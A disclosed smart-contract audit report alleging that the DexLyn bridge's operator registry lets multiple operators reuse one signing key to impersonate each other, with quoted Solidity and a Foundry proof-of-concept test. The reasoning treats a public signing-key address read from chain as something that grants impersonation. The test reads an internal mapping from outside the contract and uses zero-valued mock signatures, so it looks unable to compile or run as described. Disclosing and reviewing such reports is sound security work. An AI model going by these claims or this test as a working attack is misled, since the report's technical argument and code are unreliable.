Status DataClose notification

DexLyn Disclosed Report

Audit Report

Signing Key Reuse Allows Operator Identity Spoofing

Target

https://github.com/DexlynLabs/bridge-repo/tree/6a772c126e0879928021156ca91b89ac4f1bfcae/move

Vulnerability details

Description

The current implementation of _registerOperatorWithSig and _updateOperatorSigningKey does not enforce uniqueness of signing keys. This allows multiple operators to register using the same signing key, leading to identity spoofing and potential security bypass. An attacker can extract an operator's signing key from the blockchain and reuse it to impersonate another operator.

  • Register as a new operator using the same signing key as Operator A.
  • Bypass authentication checks that rely on the signing key.
  • Potentially perform actions on behalf of the original operator.

The function _updateOperatorSigningKey allows a new operator to register using an existing signing key that was previously assigned to another operator. Since signing keys are stored publicly on-chain in _operatorSigningKeyHistory and can be retrieved via getLastestOperatorSigningKey, an attacker can extract the key and use it to register as a different operator.

Step 1: Operator A registers with signingKeyX. Step 2: The signing key is stored publicly in _operatorSigningKeyHistory. Step 3: An attacker (Operator B) retrieves signingKeyX via getLastestOperatorSigningKey. Step 4: The attacker registers as a new operator using signingKeyX. Step 5: The system allows this registration, effectively allowing Operator B to impersonate Operator A.

  function _registerOperatorWithSig(
        address _operator,
        ISignatureUtils.SignatureWithSaltAndExpiry memory _operatorSignature,
        address _signingKey
    ) internal virtual {
@>        if (_operatorRegistered[_operator]) { <---- Operator B will pass
            revert OperatorAlreadyRegistered();
        }
        _totalOperators++;
        _operatorRegistered[_operator] = true;
        int256 delta = _updateOperatorWeight(_operator);
        _updateTotalWeight(delta);
@>       _updateOperatorSigningKey(_operator, _signingKey);
        IServiceManager(_serviceManager).registerOperatorToAVS(
            _operator,
            _operatorSignature
        );
        emit OperatorRegistered(_operator, _serviceManager);
    }
 function _updateOperatorSigningKey(
        address _operator,
        address _newSigningKey
    ) internal {
        address oldSigningKey = address(
@>            uint160(_operatorSigningKeyHistory[_operator].latest())
        );
@>        if (_newSigningKey == oldSigningKey) { <--- Operator B will pass
            return;
        }
        _operatorSigningKeyHistory[_operator].push(uint160(_newSigningKey));
        emit SigningKeyUpdate(
            _operator,
            block.number,
            _newSigningKey,
            oldSigningKey
        );
    }
    function getLastestOperatorSigningKey(
        address _operator
    ) external view returns (address) {
@>        return address(uint160(_operatorSigningKeyHistory[_operator].latest())); <----- signkey  can be gotten
    }
Impact

The issue allows unauthorized access and impersonation of operators, which can compromise the integrity of the entire system. If actions performed by an operator rely on the signing key for authentication, an attacker could execute transactions or modify data as another operator, leading to potential loss of funds, reputation damage, and incorrect system behavior.

This vulnerability is particularly severe if the protocol relies on signing keys for stake delegation, governance, or cryptographic operations, as it would allow malicious actors to take over an operator’s role with no restrictions.

Likelyhood

The signing key is stored on-chain and is publicly retrievable using getLastestOperatorSigningKey, making it easy for an attacker to obtain.

Validation steps

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

import "forge-std/Test.sol";
import "../contracts/avs/ECDSAStakeRegistry.sol";
import "../contracts/interfaces/avs/vendored/ISignatureUtils.sol";

contract ECDSAStakeRegistrySigningKeyReuseTest is Test {
    ECDSAStakeRegistry public registry;
    
    address public operatorA = address(0xA);
    address public operatorB = address(0xB);
    address public signingKeyX = address(0x1234); // Signing key used by Operator A
    
    // Mock signature and service manager
    address public mockServiceManager = address(0x5678);
    
    function setUp() public {
        // Deploy the registry with a mock service manager
        registry = new ECDSAStakeRegistry();
        registry.__ECDSAStakeRegistry_init(
            mockServiceManager, 
            1000, // threshold weight
            Quorum({
                strategies: new StrategyParams[](0),
                thresholdWeight: 1000
            })
        );
        
        // Create a mock signature
        ISignatureUtils.SignatureWithSaltAndExpiry memory mockSignature = ISignatureUtils.SignatureWithSaltAndExpiry({
            signature: abi.encodePacked(uint256(0)),
            salt: bytes32(uint256(123)),
            expiry: uint256(block.timestamp + 1000)
        });
        
        // Operator A registers with signingKeyX
        vm.prank(operatorA);
        registry.registerOperatorWithSignature(mockSignature, signingKeyX);
    }

    function test_AttackerCanReuseSigningKey() public {
        // Step 1: Retrieve Operator A's signing key
        address extractedKey = address(uint160(registry._operatorSigningKeyHistory(operatorA).latest()));
        assertEq(extractedKey, signingKeyX, "Extracted key does not match Operator A's key!");

        // Create a mock signature for Operator B
        ISignatureUtils.SignatureWithSaltAndExpiry memory mockSignature = ISignatureUtils.SignatureWithSaltAndExpiry({
            signature: abi.encodePacked(uint256(0)),
            salt: bytes32(uint256(456)),
            expiry: uint256(block.timestamp + 1000)
        });

        // Step 2: Attacker registers as a new operator using the same signing key
        vm.prank(operatorB);
        registry.registerOperatorWithSignature(mockSignature, extractedKey);

        // Step 3: Check if Operator B has the same signing key as Operator A
        address operatorBKey = address(uint160(registry._operatorSigningKeyHistory(operatorB).latest()));
        assertEq(operatorBKey, signingKeyX, "Operator B was able to register with Operator A's signing key!");
    }

    // Additional test to demonstrate the vulnerability
    function test_MultipleOperatorsCanUseTheSameSigningKey() public {
        address[] memory additionalOperators = new address[](5);
        additionalOperators[0] = address(0xC);
        additionalOperators[1] = address(0xD);
        additionalOperators[2] = address(0xE);
        additionalOperators[3] = address(0xF);
        additionalOperators[4] = address(0x10);

        // Create a mock signature
        ISignatureUtils.SignatureWithSaltAndExpiry memory mockSignature = ISignatureUtils.SignatureWithSaltAndExpiry({
            signature: abi.encodePacked(uint256(0)),
            salt: bytes32(uint256(789)),
            expiry: uint256(block.timestamp + 1000)
        });

        // Try registering multiple operators with the same signing key
        for (uint i = 0; i < additionalOperators.length; i++) {
            vm.prank(additionalOperators[i]);
            registry.registerOperatorWithSignature(mockSignature, signingKeyX);

            // Verify the signing key was reused
            address operatorKey = address(uint160(registry._operatorSigningKeyHistory(additionalOperators[i]).latest()));
            assertEq(operatorKey, signingKeyX, "Operator cannot reuse signing key!");
        }
    }
}

Comments are hidden

This information is not publicly available.